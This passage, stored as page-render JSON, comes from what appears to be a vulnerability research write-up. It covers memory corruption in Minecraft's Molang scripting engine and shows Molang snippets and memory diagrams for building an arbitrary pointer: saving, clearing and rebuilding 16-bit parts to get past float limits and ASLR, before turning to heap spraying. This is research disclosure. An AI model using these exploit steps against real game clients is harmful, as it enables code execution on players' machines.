\"identifier\"",{"type":22,"tag":101,"props":157142,"children":157143},{"style":120},[157144],{"type":27,"value":19332},{"type":22,"tag":101,"props":157146,"children":157147},{"style":6476},[157148],{"type":27,"value":157149},"\"minecraft:leash_knot\"",{"type":22,"tag":101,"props":157151,"children":157152},{"style":120},[157153],{"type":27,"value":179},{"type":22,"tag":101,"props":157155,"children":157156},{"class":103,"line":428},[157157],{"type":22,"tag":101,"props":157158,"children":157159},{"emptyLinePlaceholder":15},[157160],{"type":27,"value":1581},{"type":22,"tag":101,"props":157162,"children":157163},{"class":103,"line":997},[157164],{"type":22,"tag":101,"props":157165,"children":157166},{"style":26394},[157167],{"type":27,"value":130948},{"type":22,"tag":101,"props":157169,"children":157170},{"class":103,"line":1032},[157171],{"type":22,"tag":101,"props":157172,"children":157173},{"style":120},[157174],{"type":27,"value":156258},{"type":22,"tag":101,"props":157176,"children":157177},{"class":103,"line":1063},[157178,157183],{"type":22,"tag":101,"props":157179,"children":157180},{"style":126},[157181],{"type":27,"value":157182}," \"scripts\"",{"type":22,"tag":101,"props":157184,"children":157185},{"style":120},[157186],{"type":27,"value":41018},{"type":22,"tag":101,"props":157188,"children":157189},{"class":103,"line":1071},[157190,157195],{"type":22,"tag":101,"props":157191,"children":157192},{"style":126},[157193],{"type":27,"value":157194}," \"initialize\"",{"type":22,"tag":101,"props":157196,"children":157197},{"style":120},[157198],{"type":27,"value":157199},": [\n",{"type":22,"tag":101,"props":157201,"children":157202},{"class":103,"line":1110},[157203,157208],{"type":22,"tag":101,"props":157204,"children":157205},{"style":6476},[157206],{"type":27,"value":157207}," \"variable.a = 0;\"",{"type":22,"tag":101,"props":157209,"children":157210},{"style":120},[157211],{"type":27,"value":179},{"type":22,"tag":101,"props":157213,"children":157214},{"class":103,"line":1118},[157215,157220],{"type":22,"tag":101,"props":157216,"children":157217},{"style":6476},[157218],{"type":27,"value":157219}," \"variable.b = 0;\"",{"type":22,"tag":101,"props":157221,"children":157222},{"style":120},[157223],{"type":27,"value":179},{"type":22,"tag":101,"props":157225,"children":157226},{"class":103,"line":1158},[157227,157232],{"type":22,"tag":101,"props":157228,"children":157229},{"style":6476},[157230],{"type":27,"value":157231}," \"variable.c = 0;\"",{"type":22,"tag":101,"props":157233,"children":157234},{"style":120},[157235],{"type":27,"value":179},{"type":22,"tag":101,"props":157237,"children":157238},{"class":103,"line":1166},[157239,157244,157248],{"type":22,"tag":101,"props":157240,"children":157241},{"style":120},[157242],{"type":27,"value":157243}," [",{"type":22,"tag":101,"props":157245,"children":157246},{"style":26394},[157247],{"type":27,"value":614},{"type":22,"tag":101,"props":157249,"children":157250},{"style":120},[157251],{"type":27,"value":1884},{"type":22,"tag":101,"props":157253,"children":157254},{"class":103,"line":1215},[157255],{"type":22,"tag":101,"props":157256,"children":157257},{"style":120},[157258],{"type":27,"value":47645},{"type":22,"tag":101,"props":157260,"children":157261},{"class":103,"line":2425},[157262,157267],{"type":22,"tag":101,"props":157263,"children":157264},{"style":126},[157265],{"type":27,"value":157266}," \"pre_animation\"",{"type":22,"tag":101,"props":157268,"children":157269},{"style":120},[157270],{"type":27,"value":157199},{"type":22,"tag":101,"props":157272,"children":157273},{"class":103,"line":5417},[157274],{"type":22,"tag":101,"props":157275,"children":157276},{"style":6476},[157277],{"type":27,"value":157278}," \"variable.a = 2.310732e-27;\"\n",{"type":22,"tag":101,"props":157280,"children":157281},{"class":103,"line":7714},[157282],{"type":22,"tag":101,"props":157283,"children":157284},{"style":120},[157285],{"type":27,"value":157286}," ]\n",{"type":22,"tag":101,"props":157288,"children":157289},{"class":103,"line":7723},[157290],{"type":22,"tag":101,"props":157291,"children":157292},{"style":120},[157293],{"type":27,"value":41195},{"type":22,"tag":101,"props":157295,"children":157296},{"class":103,"line":7791},[157297],{"type":22,"tag":101,"props":157298,"children":157299},{"style":120},[157300],{"type":27,"value":1734},{"type":22,"tag":101,"props":157302,"children":157303},{"class":103,"line":7799},[157304],{"type":22,"tag":101,"props":157305,"children":157306},{"style":120},[157307],{"type":27,"value":9908},{"type":22,"tag":101,"props":157309,"children":157310},{"class":103,"line":7829},[157311],{"type":22,"tag":101,"props":157312,"children":157313},{"style":120},[157314],{"type":27,"value":188},{"type":22,"tag":23,"props":157316,"children":157317},{},[157318,157320,157325,157327,157332,157334,157339],{"type":27,"value":157319},"As shown, the pointer of a variable at offset ",{"type":22,"tag":30,"props":157321,"children":157323},{"className":157322},[],[157324],{"type":27,"value":156369},{"type":27,"value":157326}," was modified and the core concept works. During ",{"type":22,"tag":30,"props":157328,"children":157330},{"className":157329},[],[157331],{"type":27,"value":156327},{"type":27,"value":157333}," copy, pointers of some other variables above offset ",{"type":22,"tag":30,"props":157335,"children":157337},{"className":157336},[],[157338],{"type":27,"value":156369},{"type":27,"value":157340}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":22,"tag":23,"props":157342,"children":157343},{},[157344],{"type":27,"value":157345},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":22,"tag":6839,"props":157347,"children":157348},{},[157349,157362],{"type":22,"tag":6832,"props":157350,"children":157351},{},[157352,157354,157360],{"type":27,"value":157353},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":22,"tag":30,"props":157355,"children":157357},{"className":157356},[],[157358],{"type":27,"value":157359},"FLT_MAX",{"type":27,"value":157361},", the value becomes an invalid float causing the increment operation to fail.",{"type":22,"tag":6832,"props":157363,"children":157364},{},[157365,157367,157372,157374,157379,157380,157385,157387,157392],{"type":27,"value":157366},"As noted before, during assignment, ",{"type":22,"tag":30,"props":157368,"children":157370},{"className":157369},[],[157371],{"type":27,"value":156327},{"type":27,"value":157373}," fields are copied, and the ",{"type":22,"tag":30,"props":157375,"children":157377},{"className":157376},[],[157378],{"type":27,"value":43146},{"type":27,"value":156417},{"type":22,"tag":30,"props":157381,"children":157383},{"className":157382},[],[157384],{"type":27,"value":59631},{"type":27,"value":157386},". Since our source ",{"type":22,"tag":30,"props":157388,"children":157390},{"className":157389},[],[157391],{"type":27,"value":156327},{"type":27,"value":157393}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":22,"tag":23,"props":157395,"children":157396},{},[157397],{"type":27,"value":157398},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":22,"tag":22883,"props":157400,"children":157402},{"id":157401},"expanding-the-idea",[157403],{"type":27,"value":157404},"Expanding the Idea",{"type":22,"tag":23,"props":157406,"children":157407},{},[157408,157410,157415,157417,157422,157423,157428,157430,157435],{"type":27,"value":157409},"As mentioned earlier, the ",{"type":22,"tag":30,"props":157411,"children":157413},{"className":157412},[],[157414],{"type":27,"value":36752},{"type":27,"value":157416}," field of ",{"type":22,"tag":30,"props":157418,"children":157420},{"className":157419},[],[157421],{"type":27,"value":156327},{"type":27,"value":19444},{"type":22,"tag":30,"props":157424,"children":157426},{"className":157425},[],[157427],{"type":27,"value":61930},{"type":27,"value":157429},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":22,"tag":30,"props":157431,"children":157433},{"className":157432},[],[157434],{"type":27,"value":43146},{"type":27,"value":157436}," field remain unchanged before and after Molang execution.",{"type":22,"tag":23,"props":157438,"children":157439},{},[157440,157442,157447],{"type":27,"value":157441},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":22,"tag":30,"props":157443,"children":157445},{"className":157444},[],[157446],{"type":27,"value":156435},{"type":27,"value":157448},"’s allocated buffer + 4.",{"type":22,"tag":23,"props":157450,"children":157451},{},[157452,157454,157459,157461,157466,157468,157473,157474,157480],{"type":27,"value":157453},"In the example below, ",{"type":22,"tag":30,"props":157455,"children":157457},{"className":157456},[],[157458],{"type":27,"value":156861},{"type":27,"value":157460}," points to ",{"type":22,"tag":30,"props":157462,"children":157464},{"className":157463},[],[157465],{"type":27,"value":156435},{"type":27,"value":157467},", while ",{"type":22,"tag":30,"props":157469,"children":157471},{"className":157470},[],[157472],{"type":27,"value":156875},{"type":27,"value":157460},{"type":22,"tag":30,"props":157475,"children":157477},{"className":157476},[],[157478],{"type":27,"value":157479},"MolangVariableMap + 4",{"type":27,"value":169},{"type":22,"tag":91,"props":157482,"children":157484},{"code":157483}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[157485],{"type":22,"tag":30,"props":157486,"children":157487},{"__ignoreMap":7},[157488],{"type":27,"value":157483},{"type":22,"tag":23,"props":157490,"children":157491},{},[157492,157494,157499,157500,157505,157507,157512,157514,157519,157521,157526],{"type":27,"value":157493},"Here, the ",{"type":22,"tag":30,"props":157495,"children":157497},{"className":157496},[],[157498],{"type":27,"value":43146},{"type":27,"value":157416},{"type":22,"tag":30,"props":157501,"children":157503},{"className":157502},[],[157504],{"type":27,"value":156861},{"type":27,"value":157506}," starts at the lower 32 bits of the ",{"type":22,"tag":30,"props":157508,"children":157510},{"className":157509},[],[157511],{"type":27,"value":156931},{"type":27,"value":157513}," pointer, while ",{"type":22,"tag":30,"props":157515,"children":157517},{"className":157516},[],[157518],{"type":27,"value":156875},{"type":27,"value":157520}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":22,"tag":30,"props":157522,"children":157524},{"className":157523},[],[157525],{"type":27,"value":156931},{"type":27,"value":157527}," pointer in a separate variable:",{"type":22,"tag":91,"props":157529,"children":157531},{"code":157530},"variable.saved_upper_32 = variable.b;\n",[157532],{"type":22,"tag":30,"props":157533,"children":157534},{"__ignoreMap":7},[157535],{"type":27,"value":157530},{"type":22,"tag":23,"props":157537,"children":157538},{},[157539],{"type":27,"value":157540},"Then we can modify the lower 32 bits of the pointer:",{"type":22,"tag":91,"props":157542,"children":157544},{"code":157543},"variable.a = variable.a + itof(0x8);\n",[157545],{"type":22,"tag":30,"props":157546,"children":157547},{"__ignoreMap":7},[157548],{"type":27,"value":157543},{"type":22,"tag":23,"props":157550,"children":157551},{},[157552],{"type":27,"value":157553},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":22,"tag":91,"props":157555,"children":157557},{"code":157556}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[157558],{"type":22,"tag":30,"props":157559,"children":157560},{"__ignoreMap":7},[157561],{"type":27,"value":157556},{"type":22,"tag":23,"props":157563,"children":157564},{},[157565,157567,157572],{"type":27,"value":157566},"Since the 32 bits directly below the ",{"type":22,"tag":30,"props":157568,"children":157570},{"className":157569},[],[157571],{"type":27,"value":43146},{"type":27,"value":157573}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":22,"tag":91,"props":157575,"children":157577},{"code":157576},"variable.b = variable.saved_upper_32;\n",[157578],{"type":22,"tag":30,"props":157579,"children":157580},{"__ignoreMap":7},[157581],{"type":27,"value":157576},{"type":22,"tag":23,"props":157583,"children":157584},{},[157585,157587,157592],{"type":27,"value":157586},"Now ",{"type":22,"tag":30,"props":157588,"children":157590},{"className":157589},[],[157591],{"type":27,"value":156931},{"type":27,"value":157593}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":22,"tag":91,"props":157595,"children":157597},{"code":157596}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[157598],{"type":22,"tag":30,"props":157599,"children":157600},{"__ignoreMap":7},[157601],{"type":27,"value":157596},{"type":22,"tag":23,"props":157603,"children":157604},{},[157605,157607,157612],{"type":27,"value":157606},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":22,"tag":30,"props":157608,"children":157610},{"className":157609},[],[157611],{"type":27,"value":157479},{"type":27,"value":157613}," on the heap?",{"type":22,"tag":23,"props":157615,"children":157616},{},[157617,157619,157624,157626,157632],{"type":27,"value":157618},"Additionally, adding 8 to ",{"type":22,"tag":30,"props":157620,"children":157622},{"className":157621},[],[157623],{"type":27,"value":156861},{"type":27,"value":157625}," in the example above wouldn’t work because ",{"type":22,"tag":30,"props":157627,"children":157629},{"className":157628},[],[157630],{"type":27,"value":157631},"0xddccbba0",{"type":27,"value":157633}," is not a valid float. So the first issue still remains unresolved.",{"type":22,"tag":22883,"props":157635,"children":157637},{"id":157636},"the-final-approach",[157638],{"type":27,"value":157639},"The Final Approach",{"type":22,"tag":23,"props":157641,"children":157642},{},[157643,157645,157650,157652,157658],{"type":27,"value":157644},"We realized that instead of having the second pointer at ",{"type":22,"tag":30,"props":157646,"children":157648},{"className":157647},[],[157649],{"type":27,"value":157479},{"type":27,"value":157651},", we could instead have it at ",{"type":22,"tag":30,"props":157653,"children":157655},{"className":157654},[],[157656],{"type":27,"value":157657},"MolangVariableMap + 2",{"type":27,"value":157659},", which would resolve both of our issues.",{"type":22,"tag":23,"props":157661,"children":157662},{},[157663,157665,157670,157671,157676],{"type":27,"value":157664},"Let’s revisit the previous example, but this time ",{"type":22,"tag":30,"props":157666,"children":157668},{"className":157667},[],[157669],{"type":27,"value":156875},{"type":27,"value":157460},{"type":22,"tag":30,"props":157672,"children":157674},{"className":157673},[],[157675],{"type":27,"value":157657},{"type":27,"value":169},{"type":22,"tag":91,"props":157678,"children":157680},{"code":157679}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157681],{"type":22,"tag":30,"props":157682,"children":157683},{"__ignoreMap":7},[157684],{"type":27,"value":157679},{"type":22,"tag":23,"props":157686,"children":157687},{},[157688,157690,157695],{"type":27,"value":157689},"With this setup, we can calculate any address relative to ",{"type":22,"tag":30,"props":157691,"children":157693},{"className":157692},[],[157694],{"type":27,"value":156931},{"type":27,"value":157696}," by first saving the upper 48 bits of the address:",{"type":22,"tag":91,"props":157698,"children":157700},{"code":157699},"variable.saved_upper_48 = variable.b;\n",[157701],{"type":22,"tag":30,"props":157702,"children":157703},{"__ignoreMap":7},[157704],{"type":27,"value":157699},{"type":22,"tag":23,"props":157706,"children":157707},{},[157708,157709,157715,157717,157723],{"type":27,"value":133337},{"type":22,"tag":30,"props":157710,"children":157712},{"className":157711},[],[157713],{"type":27,"value":157714},"variable.saved_upper_48",{"type":27,"value":157716}," holds the value ",{"type":22,"tag":30,"props":157718,"children":157720},{"className":157719},[],[157721],{"type":27,"value":157722},"0x1c80ddcc",{"type":27,"value":231},{"type":22,"tag":23,"props":157725,"children":157726},{},[157727],{"type":27,"value":157728},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":22,"tag":91,"props":157730,"children":157732},{"code":157731},"variable.b = 0;\n",[157733],{"type":22,"tag":30,"props":157734,"children":157735},{"__ignoreMap":7},[157736],{"type":27,"value":157731},{"type":22,"tag":23,"props":157738,"children":157739},{},[157740],{"type":27,"value":157741},"Resulting in the following state:",{"type":22,"tag":91,"props":157743,"children":157745},{"code":157744}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157746],{"type":22,"tag":30,"props":157747,"children":157748},{"__ignoreMap":7},[157749],{"type":27,"value":157744},{"type":22,"tag":23,"props":157751,"children":157752},{},[157753,157755,157760,157762,157768,157770,157775],{"type":27,"value":157754},"Now, the value of ",{"type":22,"tag":30,"props":157756,"children":157758},{"className":157757},[],[157759],{"type":27,"value":156861},{"type":27,"value":157761}," only spans 16 bits (",{"type":22,"tag":30,"props":157763,"children":157765},{"className":157764},[],[157766],{"type":27,"value":157767},"0xbba0",{"type":27,"value":157769}," specifically), which is always a valid float since it’s far below ",{"type":22,"tag":30,"props":157771,"children":157773},{"className":157772},[],[157774],{"type":27,"value":157359},{"type":27,"value":231},{"type":22,"tag":23,"props":157777,"children":157778},{},[157779,157781,157786],{"type":27,"value":157780},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":22,"tag":30,"props":157782,"children":157784},{"className":157783},[],[157785],{"type":27,"value":156861},{"type":27,"value":169},{"type":22,"tag":91,"props":157788,"children":157789},{"code":157543},[157790],{"type":22,"tag":30,"props":157791,"children":157792},{"__ignoreMap":7},[157793],{"type":27,"value":157543},{"type":22,"tag":23,"props":157795,"children":157796},{},[157797],{"type":27,"value":157798},"Which results in:",{"type":22,"tag":91,"props":157800,"children":157802},{"code":157801}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157803],{"type":22,"tag":30,"props":157804,"children":157805},{"__ignoreMap":7},[157806],{"type":27,"value":157801},{"type":22,"tag":23,"props":157808,"children":157809},{},[157810],{"type":27,"value":157811},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":22,"tag":91,"props":157813,"children":157815},{"code":157814},"variable.b = variable.saved_upper_48;\n",[157816],{"type":22,"tag":30,"props":157817,"children":157818},{"__ignoreMap":7},[157819],{"type":27,"value":157814},{"type":22,"tag":23,"props":157821,"children":157822},{},[157823],{"type":27,"value":157824},"Yielding a valid pointer again:",{"type":22,"tag":91,"props":157826,"children":157828},{"code":157827}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157829],{"type":22,"tag":30,"props":157830,"children":157831},{"__ignoreMap":7},[157832],{"type":27,"value":157827},{"type":22,"tag":23,"props":157834,"children":157835},{},[157836],{"type":27,"value":157837},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":22,"tag":91,"props":157839,"children":157841},{"code":157840},"variable.saved_adjusted_lower_16 = variable.a;\n",[157842],{"type":22,"tag":30,"props":157843,"children":157844},{"__ignoreMap":7},[157845],{"type":27,"value":157840},{"type":22,"tag":23,"props":157847,"children":157848},{},[157849],{"type":27,"value":157850},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":22,"tag":91,"props":157852,"children":157854},{"code":157853},"variable.a = variable.saved_upper_48;\n",[157855],{"type":22,"tag":30,"props":157856,"children":157857},{"__ignoreMap":7},[157858],{"type":27,"value":157853},{"type":22,"tag":23,"props":157860,"children":157861},{},[157862],{"type":27,"value":157863},"This produces the following state:",{"type":22,"tag":91,"props":157865,"children":157867},{"code":157866}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157868],{"type":22,"tag":30,"props":157869,"children":157870},{"__ignoreMap":7},[157871],{"type":27,"value":157866},{"type":22,"tag":23,"props":157873,"children":157874},{},[157875,157877,157882,157884,157890,157892,157898,157900,157905,157907,157912],{"type":27,"value":157876},"As shown, ",{"type":22,"tag":30,"props":157878,"children":157880},{"className":157879},[],[157881],{"type":27,"value":156875},{"type":27,"value":157883}," now contains the upper 16 bits of the address (",{"type":22,"tag":30,"props":157885,"children":157887},{"className":157886},[],[157888],{"type":27,"value":157889},"0x1c80",{"type":27,"value":157891},"), which we can store as ",{"type":22,"tag":30,"props":157893,"children":157895},{"className":157894},[],[157896],{"type":27,"value":157897},"variable.saved_upper_16 = variable.b",{"type":27,"value":157899},". Meanwhile, ",{"type":22,"tag":30,"props":157901,"children":157903},{"className":157902},[],[157904],{"type":27,"value":156861},{"type":27,"value":157906}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":22,"tag":30,"props":157908,"children":157910},{"className":157909},[],[157911],{"type":27,"value":156875},{"type":27,"value":169},{"type":22,"tag":91,"props":157914,"children":157915},{"code":157731},[157916],{"type":22,"tag":30,"props":157917,"children":157918},{"__ignoreMap":7},[157919],{"type":27,"value":157731},{"type":22,"tag":23,"props":157921,"children":157922},{},[157923],{"type":27,"value":157924},"Leaving us with:",{"type":22,"tag":91,"props":157926,"children":157928},{"code":157927}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[157929],{"type":22,"tag":30,"props":157930,"children":157931},{"__ignoreMap":7},[157932],{"type":27,"value":157927},{"type":22,"tag":23,"props":157934,"children":157935},{},[157936],{"type":27,"value":157937},"We can now save the middle 16 bits:",{"type":22,"tag":91,"props":157939,"children":157941},{"code":157940},"variable.saved_middle_16 = variable.a;\n",[157942],{"type":22,"tag":30,"props":157943,"children":157944},{"__ignoreMap":7},[157945],{"type":27,"value":157940},{"type":22,"tag":23,"props":157947,"children":157948},{},[157949],{"type":27,"value":157950},"At this point, we have:",{"type":22,"tag":91,"props":157952,"children":157954},{"code":157953},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[157955],{"type":22,"tag":30,"props":157956,"children":157957},{"__ignoreMap":7},[157958],{"type":27,"value":157953},{"type":22,"tag":23,"props":157960,"children":157961},{},[157962],{"type":27,"value":157963},"All three parts are valid float values, ensuring deterministic calculations.",{"type":22,"tag":23,"props":157965,"children":157966},{},[157967],{"type":27,"value":157968},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":22,"tag":91,"props":157970,"children":157972},{"code":157971},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[157973],{"type":22,"tag":30,"props":157974,"children":157975},{"__ignoreMap":7},[157976],{"type":27,"value":157971},{"type":22,"tag":23,"props":157978,"children":157979},{},[157980],{"type":27,"value":157981},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":22,"tag":91,"props":157983,"children":157985},{"code":157984},"variable.a = variable.saved_adjusted_middle_16;\n",[157986],{"type":22,"tag":30,"props":157987,"children":157988},{"__ignoreMap":7},[157989],{"type":27,"value":157984},{"type":22,"tag":23,"props":157991,"children":157992},{},[157993,157995,158000,158001,158007,158008,158014],{"type":27,"value":157994},"Setting ",{"type":22,"tag":30,"props":157996,"children":157998},{"className":157997},[],[157999],{"type":27,"value":156861},{"type":27,"value":60773},{"type":22,"tag":30,"props":158002,"children":158004},{"className":158003},[],[158005],{"type":27,"value":158006},"0xddcd",{"type":27,"value":3603},{"type":22,"tag":30,"props":158009,"children":158011},{"className":158010},[],[158012],{"type":27,"value":158013},"0xddcc + 1",{"type":27,"value":158015},"), and then:",{"type":22,"tag":91,"props":158017,"children":158019},{"code":158018},"variable.b = variable.saved_adjusted_upper_16;\n",[158020],{"type":22,"tag":30,"props":158021,"children":158022},{"__ignoreMap":7},[158023],{"type":27,"value":158018},{"type":22,"tag":23,"props":158025,"children":158026},{},[158027,158029,158034,158036,158042,158043,158049],{"type":27,"value":158028},"Resulting in ",{"type":22,"tag":30,"props":158030,"children":158032},{"className":158031},[],[158033],{"type":27,"value":156875},{"type":27,"value":158035}," value becoming ",{"type":22,"tag":30,"props":158037,"children":158039},{"className":158038},[],[158040],{"type":27,"value":158041},"0x1c81",{"type":27,"value":3603},{"type":22,"tag":30,"props":158044,"children":158046},{"className":158045},[],[158047],{"type":27,"value":158048},"0x1c80 + 1",{"type":27,"value":27944},{"type":22,"tag":91,"props":158051,"children":158053},{"code":158052}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[158054],{"type":22,"tag":30,"props":158055,"children":158056},{"__ignoreMap":7},[158057],{"type":27,"value":158052},{"type":22,"tag":23,"props":158059,"children":158060},{},[158061],{"type":27,"value":158062},"Now we save the adjusted upper 48 bits:",{"type":22,"tag":91,"props":158064,"children":158066},{"code":158065},"variable.saved_adjusted_upper_48 = variable.a;\n",[158067],{"type":22,"tag":30,"props":158068,"children":158069},{"__ignoreMap":7},[158070],{"type":27,"value":158065},{"type":22,"tag":23,"props":158072,"children":158073},{},[158074],{"type":27,"value":158075},"Finally, we attach the lower 16 bits:",{"type":22,"tag":91,"props":158077,"children":158079},{"code":158078},"variable.a = variable.saved_adjusted_lower_16;\n",[158080],{"type":22,"tag":30,"props":158081,"children":158082},{"__ignoreMap":7},[158083],{"type":27,"value":158078},{"type":22,"tag":91,"props":158085,"children":158087},{"code":158086}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[158088],{"type":22,"tag":30,"props":158089,"children":158090},{"__ignoreMap":7},[158091],{"type":27,"value":158086},{"type":22,"tag":23,"props":158093,"children":158094},{},[158095],{"type":27,"value":158096},"And by setting:",{"type":22,"tag":91,"props":158098,"children":158100},{"code":158099},"variable.b = variable.saved_adjusted_upper_48;\n",[158101],{"type":22,"tag":30,"props":158102,"children":158103},{"__ignoreMap":7},[158104],{"type":27,"value":158099},{"type":22,"tag":23,"props":158106,"children":158107},{},[158108],{"type":27,"value":158109},"We forge the final adjusted pointer:",{"type":22,"tag":91,"props":158111,"children":158113},{"code":158112}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[158114],{"type":22,"tag":30,"props":158115,"children":158116},{"__ignoreMap":7},[158117],{"type":27,"value":158112},{"type":22,"tag":1398,"props":158119,"children":158120},{},[],{"type":22,"tag":23,"props":158122,"children":158123},{},[158124,158126,158131],{"type":27,"value":158125},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":22,"tag":30,"props":158127,"children":158129},{"className":158128},[],[158130],{"type":27,"value":157657},{"type":27,"value":157613},{"type":22,"tag":23,"props":158133,"children":158134},{},[158135,158137,158142,158144,158149,158151,158157,158159,158164],{"type":27,"value":158136},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":22,"tag":30,"props":158138,"children":158140},{"className":158139},[],[158141],{"type":27,"value":157657},{"type":27,"value":158143},". Instead, we need any two pointers on the heap - one pointing to ",{"type":22,"tag":30,"props":158145,"children":158147},{"className":158146},[],[158148],{"type":27,"value":34682},{"type":27,"value":158150}," and the other to ",{"type":22,"tag":30,"props":158152,"children":158154},{"className":158153},[],[158155],{"type":27,"value":158156},"addr + 2",{"type":27,"value":158158}," (as long as ",{"type":22,"tag":30,"props":158160,"children":158162},{"className":158161},[],[158163],{"type":27,"value":34682},{"type":27,"value":158165}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":22,"tag":23,"props":158167,"children":158168},{},[158169,158171,158176,158177,158182],{"type":27,"value":158170},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":22,"tag":30,"props":158172,"children":158174},{"className":158173},[],[158175],{"type":27,"value":153631},{"type":27,"value":157416},{"type":22,"tag":30,"props":158178,"children":158180},{"className":158179},[],[158181],{"type":27,"value":156435},{"type":27,"value":158183}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":22,"tag":91,"props":158185,"children":158187},{"code":158186},"variable.corrupted_var_map_ptr = variable.a;\n",[158188],{"type":22,"tag":30,"props":158189,"children":158190},{"__ignoreMap":7},[158191],{"type":27,"value":158186},{"type":22,"tag":23,"props":158193,"children":158194},{},[158195,158197,158202,158204,158210],{"type":27,"value":158196},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":22,"tag":30,"props":158198,"children":158200},{"className":158199},[],[158201],{"type":27,"value":43146},{"type":27,"value":158203}," field (in this case, the reconstructed pointer) and writes it to ",{"type":22,"tag":30,"props":158205,"children":158207},{"className":158206},[],[158208],{"type":27,"value":158209},"variable.corrupted_var_map_ptr",{"type":27,"value":158211},", even though the type itself is only a 32-bit float.",{"type":22,"tag":22883,"props":158213,"children":158215},{"id":158214},"finding-misaligned-pointers",[158216],{"type":27,"value":158217},"Finding Misaligned Pointers",{"type":22,"tag":23,"props":158219,"children":158220},{},[158221,158223,158228,158229,158235],{"type":27,"value":158222},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":22,"tag":30,"props":158224,"children":158226},{"className":158225},[],[158227],{"type":27,"value":17951},{"type":27,"value":209},{"type":22,"tag":30,"props":158230,"children":158232},{"className":158231},[],[158233],{"type":27,"value":158234},"ptr + 2",{"type":27,"value":158236},"). Fortunately, we didn’t have to look 